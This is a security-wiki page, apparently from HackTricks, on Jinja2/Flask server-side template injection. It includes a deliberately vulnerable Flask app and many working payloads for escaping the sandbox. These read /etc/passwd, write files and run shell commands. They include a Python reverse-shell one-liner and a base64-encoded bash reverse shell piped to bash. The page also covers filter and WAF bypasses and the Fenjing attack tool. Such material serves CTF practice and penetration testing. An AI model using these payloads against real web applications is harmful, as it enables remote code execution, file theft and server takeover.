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from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Misc
Debug Statement
If the Debug Extension is enabled, a debug tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
<pre>
{% debug %}
</pre>
Dump all config variables
{{ config }} #In these object you can find all the configured env variables
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
Jinja Injection
First of all, in a Jinja injection you need to find a way to escape from the sandbox and recover access the regular python execution flow. To do so, you need to abuse objects that are from the non-sandboxed environment but are accessible from the sandbox.
Accessing Global Objects
For example, in the code render_template("hello.html", username=username, email=email) the objects username and email come from the non-sanboxed python env and will be accessible inside the sandboxed env.
Moreover, there are other objects that will be always accessible from the sandboxed env, these are:
[]
''
()
dict
config
request
Recovering <class 'object'>
Then, from these objects we need to get to the class: <class 'object'> in order to try to recover defined classes. This is because from this object we can call the __subclasses__ method and access all the classes from the non-sandboxed python env.
In order to access that object class, you need to access a class object and then access either __base__, __mro__()[-1] or .mro()[-1]. And then, after reaching this object class we call__subclasses__().
Check these examples:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
Having recovered<class 'object'> and called __subclasses__ we can now use those classes to read and write files and exec code.
The call to __subclasses__ has given us the opportunity to access hundreds of new functions, we will be happy just by accessing the file class to read/write files or any class with access to a class that allows to execute commands (like os).
Read/Write remote file
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
To learn about more classes that you can use to escape you can check:
Filter bypasses
Common bypasses
These bypass will allow us to access the attributes of the objects without using some chars.
We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Avoiding HTML encoding
By default Flask HTML encode all the inside a template for security reasons:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
The safe filter allows us to inject JavaScript and HTML into the page without it being HTML encoded, like this:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
You can find functions from the objects request, config and any other interesting global object you have access to with:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Once you have found some functions you can recover the builtins with:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
English-Chinese Google translation
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
References
Support HackTricks
Source:
From the there is another way to get to RCE without using that class.
If you manage to get to any function from those globals objects, you will be able to access __globals__.__builtins__ and from there the RCE is very simple.
Fenjing is a tool that its specialized on CTFs but can be also useful to bruteforce invalid params on a real scenario. The tool just spray words and queries to detect filters, searching for bypasses, and also provide a interactive console.
Check .
Learn & practice AWS Hacking:
Learn & practice GCP Hacking:
Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.
